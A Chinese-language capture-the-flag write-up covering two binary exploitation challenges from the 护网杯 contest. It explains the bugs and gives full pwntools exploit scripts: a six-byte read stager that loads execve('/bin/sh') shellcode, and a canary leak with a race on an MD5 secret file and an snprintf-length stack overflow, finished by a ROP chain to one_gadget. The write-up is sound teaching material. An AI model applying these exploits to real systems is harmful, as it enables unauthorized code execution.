护网杯-部分writeup

huwangbei

赛后把护网杯的题目都调了一遍,这里记录了一下其中的两道题。

six

题目分析

题目main函数大概如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
void (__fastcall *v3)(__int64, char *); // ST08_8@1
v10 = *MK_FP(__FS__, 40LL);
fun_init();
v3 = (void (__fastcall *)(__int64, char *))mmap_text;
memset(&s, 0, 8uLL);
puts("Show Ne0 your shellcode:");
read(0, &s, 6uLL);
check((__int64)&s);
v4 = strlen(loc_202020);
memcpy(mmap_text, loc_202020, v4);
v5 = (char *)mmap_text;
v6 = strlen(loc_202020);
memcpy(&v5[v6], &s, 7uLL); // 拼接shellcode
v3(mmap_stack, &s);
result = 0LL;
v8 = *MK_FP(__FS__, 40LL) ^ v10;
return result;
}

程序在最开始的地方调用了fun_init函数,该函数主要做了设置程序的缓冲区以及分配两块内存,分别作为shellcode执行的代码段堆栈段

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 sub_9CA()
{
v4 = *MK_FP(__FS__, 40LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
fd = open("/dev/urandom", 0);
read(fd, &buf, 6uLL);
read(fd, &v3, 6uLL);
mmap_text = mmap((void *)(v3 & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7, 0x22, -1, 0LL);// r w e MAP_SHARED MAP_PRIVATE MAP_TYPE MAP_FIXED
mmap_stack = (__int64)mmap((void *)(buf & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 3, 0x22, -1, 0LL) + 0x500;// r w
return *MK_FP(__FS__, 40LL) ^ v4;
}

其中mmap函数的第一个参数是从/dev/urandom中读取的随机数据,第一个分配的内存具有rwx权限,第二个分配的内存具有rw-权限。

接着会把程序中原有的一部分shellcode拷贝到mmap出来的用作代码段的内存中,并将用户输入的经过check函数的6个字节shellcode拼接在原有shellcode后面。其中原有部分shellcode负责清空寄存器的值,并将rsp指向mmap产生的用作堆栈段的内存。

check函数主要检查6个字节中奇数和偶数是否相同,以及是否出现了相同的两个字节。

最后会跳转到shellcode处执行shellcode。

利用思路

程序原有shellcode完成了寄存器的清0操作,我们要写入的6字节需要完成拿到shell的功能,只用6个字节很难做到,但是程序给我们提供了这样的条件:

  1. 当传递给mmap的第一个参数不合要求时,mmap会自己随机分配一块内存。正常情况下堆栈段和代码段是不会连在一起的,但是如果mmap的两个addr地址都不符合要求的话,连续分配的两个内存是会连在一起的,且堆栈段在低地址,代码段在高地址。
  2. read函数对应的系统调用号刚好为0,所以在调用read函数时,不需要在设置系统调用号的寄存器(rax),缩短shellcode的长度。
  3. 所以构造合适的read函数的参数,将获取shell的shellcode写入到代码段,进而拿到shell就很容易了。

构造过程

如何通过syscall调用相应的函数?

查看手册(man syscall),可以知道在x86_64和x32架构下均是通过rax传递系统调用号以及返回值:

系统调用参数传递如下:

所以现在需要知道函数对应的系统调用号是多少,在/usr/include目录下查找:

可以看到系统调用名称SYS_gettid对应着__NR_gettid,搜索__NR_gettid,查找其在哪个文件中:

这里就可以看到函数gettid对应的系统调用号是多少了,64位和32位的调用号不同。查看文件unistd_64.h的内容:

read函数的调用号刚好为0,且rax的值已经被清0了,减少了构造shellcode的字节数。

构造shellcode

shellcode汇编代码:

push rsp;pop rsi;mov edx,esi;syscall;

获取对应的字节数据:

1
2
3
4
5
6
7
8
9
➜  six  python
Python 2.7.12 (default, Dec 4 2017, 14:50:18)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> context.arch = 'amd64'
>>> asm('push rsp;pop rsi;mov edx,esi;syscall').encode('hex')
'545e89f20f05'
>>>

通过syscall调用read函数后,mmap的代码段将被覆盖,为了正常执行到获取shell的shellcode,可以增加滑板指令的nop-->\x90,而获取shell的shellcode可以使用pwntools中的shellcraft.sh()来生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
>>> shellcode = shellcraft.sh()
>>> print shellcode
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push 'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall

>>> print asm(shellcode)
jhH�/bin///sPH��hri�4$1�V^H�VH��1�j;X

注意:生成shellcode的时候一定需要设置context.arch为与目标机器匹配的架构,这里是amd64

最后得到的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.log_level='debug'
context.arch='amd64'
def exp():
p = process('./six')

# gdb.attach(p,gdbscript='''
# b *0x555555554c2b
# c''')

p.recvuntil('shellcode')
# push rsp;pop rsi;mov edx,esi;syscall;
# asm('push rsp;pop rsi;mov edx,esi;syscall').encode('hex')
# 545e89f20f05
shellcode = '\x54\x5e'+'\x89\xf2'+'\x0f\x05'
p.send(shellcode)
sleep(0.1)
shell = 'b'*(0x1000-0x500)
shell = shell+'\x90'*0x500+asm(shellcraft.sh())
p.send(shell)
p.interactive()

for i in range(10):
try:
exp()
except:
pass

运行几次之后就会拿到shell了:

huwang

题目分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ( access("/tmp/secret", 0) == -1 )
{
HIDWORD(v1) = open("/tmp/secret", 65, 511LL);
fd = open("/dev/urandom", 0);
read(fd, s, 0xCuLL);
LODWORD(v1) = 0;
while ( (signed int)v1 <= 11 )
{
s[(signed int)v1] &= 1u;
LODWORD(v1) = v1 + 1;
}
write(SHIDWORD(v1), s, 0xCuLL);
close(SHIDWORD(v1));
close(fd);
}

用户输入666之后会进入到程序的主要逻辑,首先会检测文件/tmp/secret是否存在。如果不存在则会新建该文件,并从/dev/urandom中读取0xC个字节,经过处理后写入到/tmp/secret中。

判断文件是否存在调用的是access函数,mode参数置为F_OK:

接着从/tmp/secret文件中读取0xC个字节到数组s中,关闭文件流。然后又打开了文件流,open函数的flag标识为0x201,打开文件后对数组s中的数据进行MD5运算,运算的轮数由用户控制,运算完毕后将内容写回到文件中,最后判断用户输入的数据和运算得到的md5值是否相同,如果相同则进入success函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
v0 = open("/tmp/secret", 0, v1);
read(v0, s, 0xCuLL);
close(v0);
puts("Input how many rounds do you want to encrypt the secret:");
v7 = get_int();
if ( v7 > 10 )
{
puts("What? Why do you need to encrypt so many times?");
exit(-1);
}
if ( !v7 )
{
printf("At least encrypt one time", s);
exit(-1);
}
HIDWORD(v2) = open("/tmp/secret", 0x201);
LODWORD(v2) = 0;
while ( (unsigned int)v2 < v7 )
{
MD5((__int64)s, 16LL, (__int64)s);
LODWORD(v2) = v2 + 1;
}
write(SHIDWORD(v2), s, 0x10uLL);
close(SHIDWORD(v2));
puts("Try to guess the md5 of the secret");
read(0, &s1, 0x10uLL);
if ( !memcmp(&s1, s, 0x10uLL) )
success((__int64)&buf);
v4 = open("/tmp/secret", 513, 511LL, v2);
fda = open("/dev/urandom", 0);
read(fda, s, 0xCuLL);

success函数中允许我们输入职业描述信息,然后允许我们修改该信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
v6 = __readfsqword(0x28u);
printf("Congratulations, %s guessed my secret!\n", a1);
puts("And I want to know someting about you, and introduce you to other people who guess the secret!");
puts("What`s your occupation?");
get_input(&v4, 0xFFLL);
v3 = snprintf(
&s,
0xFFuLL,
"I know a new friend, his name is %s,and he is a noble %s.He is come from north and he is very handsome........."
".................................................................................................",
a1,
&v4);
puts("Here is your introduce");
puts(&s);
puts("Do you want to edit you introduce by yourself[Y/N]");
v1 = getchar();
getchar();
if ( v1 == 'Y' )
read(0, &s, v3 - 1);
return printf("The final presentation is as follows:%s\n", &s);

漏洞

  1. 输入用户名的时候存在溢出,输入的0x20个字节可以覆盖到Canary数据。
  2. 检查用户输入的加密轮数时没有进行负数的检查,将一个负数转换为unsigned int会加密很多轮。
  3. 在进行MD5运算时,打开/tmp/secret文件传递的flag参数会重新建立该文件。
  4. 在Success函数中存在栈溢出。

输入用户名时,覆盖canary的最低字节数据后,在输出用户名时会连带canary一起输出出来,从这里可以泄露canary,为后面的栈溢出做准备:

1
2
3
4
5
unsigned __int64 v12; // [rsp+78h] [rbp-8h]

v12 = __readfsqword(0x28u);
puts("please input your name");
read(0, &buf, 0x20uLL);

open函数打开文件时,flag参数的值为0x201,查看手册发现是0x200|0x1 = O_WRONLY|O_EXCLO_WRONLY以只写的方式打开文件。O_EXCL会创建这个文件,如果同时设置了O_CREAT,且文件已经存在,那么会返回失败,一般情况下是不能单独使用该标志的,需要将O_EXCL,O_CREAT一起使用,但是在Linux 2.6以后是可以的。

在success函数中,乍一看去好像不存在栈溢出,输入的地方都对读取的字节数量进行了限制,输入occupation限制为0xFF字节,snprintf函数限制了输出为0xFF字节,read函数的输入数量限制为snprintf函数返回值减一。经过实际的测试,发现snprintf函数的返回值并不是写入到数组中的实际字节数,而是字符串原有的长度,虽然限制了最多能往数组中写入0xFF个字节,但是实际的返回值可以大于该值。所以这里就存在栈溢出了!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<stdio.h>
#include<string.h>

int main(){
char buf[32];
char input[64]={0};
char *s1 = "this is a string";
int i = 0;

gets(input);
int result = snprintf(buf,32,"hello %s,%s",input,s1);
printf("return result is :%d\n",result);
printf("buf content:%s\nbuf len is:%d\n",buf,strlen(buf));
return 0;
}

输出如下:
➜ huwang ./snprintf
ssssssssssssssssssssssssss
return result is :49
buf content:hello sssssssssssssssssssssssss
buf len is:31

实际上,GCC和VC下snprintf函数处理上会有一些差异:

GCC中的参数n表示向str中写入n个字符,包括’\0’字符,并且返回实际的字符串长度。

VC中的参数n表示会向str中写入n个字符,不包括’\0’字符,并且不会在字符串末尾添加’\0’符。当字符串长度超过参数n时,函数返回-1,以表示可能导致错误。

漏洞利用

通过在输入MD5轮数时输入一个负数,这样程序会运行较长一段时间,此时/tmp/secret会成为空白文件,如果这个时候在建立一个连接 ,那么就是对一个空字符串进行MD5运算了,这个结果我们是可以知道的,所以可以顺利进入success函数中。知道了canary,知道了栈溢出的位置,直接ROP泄露libc基址,跳转到one_gadget即可拿shell。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *

debug = 1
if debug:
p = process('./huwang')
context.log_level = 'debug'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

else:
p = remote('10.10.10.10',1111)
libc = ELF('./libc.so.6')

# 0x0000000000401573 : pop rdi ; ret
# 0x0000000000401571 : pop rsi ; pop r15 ; ret
rop_pop_rdi = 0x401573
rop_pop_rsi_r15 = 0x401571
rop_leave = 0x400d45
one_gadget = 0x4526a

def makeSecretZero():
p.recvuntil('command>> ')
p.sendline(str(666))
p.sendlineafter('name','e3pem')
p.sendlineafter('secret?','y')
p.sendlineafter('secret:',str(-888888))

def exp():
p1 = process('./huwang')
p1.recvuntil('command>> ')
p1.sendline(str(666))
p1.sendlineafter('name','a'*0x18)
p1.sendlineafter('secret?','y')
p1.sendlineafter('secret:',str(1))
# p1.sendlineafter('the secret','\x8d\xd6\xbb\x73\x29\xa7\x14\x49\xb0\xa1\xb2\x92\xb5\x99\x91\x64')
p1.sendafter('the secret',p64(0xbff94be43613e74a)+p64(0xa51848232e75d279))
p1.recvuntil('aaaa\n')
canary = u64(p1.recv(8)[:-1].ljust(8,'\x00'))
canary = (canary<<8)&0xFFFFFFFFFFFFFF00
print 'canary is :'+hex(canary)

# gdb.attach(p1,'b *0x401112')
# raw_input('aaaa')

p1.recvuntil('occupation?')
payload = 'a'*0xFF
# p1.sendafter('occupation?',payload)
p1.send(payload)
p1.recvuntil('[Y/N]')
p1.sendline('Y')

# gdb.attach(p1,'b *0x401112')
# gdb.attach(p1,'b *0x40113f')
payload = 'c'*0x108
payload += p64(canary)+p64(0x603100)+p64(rop_pop_rdi)+p64(1)+p64(rop_pop_rsi_r15)+p64(0x602fa0)+p64(0)+p64(0x400b38)
payload += p64(rop_pop_rdi)+p64(0x0)+p64(rop_pop_rsi_r15)+p64(0x603100)+p64(0x0)+p64(0x400ad8)+p64(rop_leave)
p1.sendline(payload)
# raw_input('aaa')
p1.recvuntil('cccc\x0a')
result = p1.recvuntil('\x00\x00')
start_main_addr = u64(result)
libc_base = start_main_addr-libc.symbols['__libc_start_main']
payload = p64(0xdeadbeef)+p64(one_gadget+libc_base)
p1.sendline(payload)
p1.interactive()

makeSecretZero()
exp()

# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints: ...
# rax == NULL

# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL

# 0xf02a4 execve("/bin/sh", rsp+0x50, environ) ...
# constraints:
# [rsp+0x50] == NULL

# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL

# Gadgets information 0\x
# ============================================================ 0\x
# 0x000000000040156c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0\x
# 0x000000000040156e : pop r13 ; pop r14 ; pop r15 ; ret 0\x
# 0x0000000000401570 : pop r14 ; pop r15 ; ret 0\x
# 0x0000000000401572 : pop r15 ; ret 0\x
# 0x000000000040156b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0\x
# 0x000000000040156f : pop rbp ; pop r14 ; pop r15 ; ret 0\x
# 0x0000000000400bb0 : pop rbp ; ret 0\x
# 0x0000000000401573 : pop rdi ; ret 0\x
# 0x0000000000401571 : pop rsi ; pop r15 ; ret 0\x
# 0x000000000040156d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0\x
# 0x00000000004005e0 : ret 0\x
# 0x0000000000400f0e : ret 0x3040 0\x
# 0x0000000000400eb0 : ret 0x458b 0\x
# 0x0000000000401212 : ret 0xfff8 0\x
# 0x0000000000400df2 : ret 0xfffc

链接: https://pan.baidu.com/s/1ijm8zyxNr0bwZ7xcVan0Uw 提取码: uprq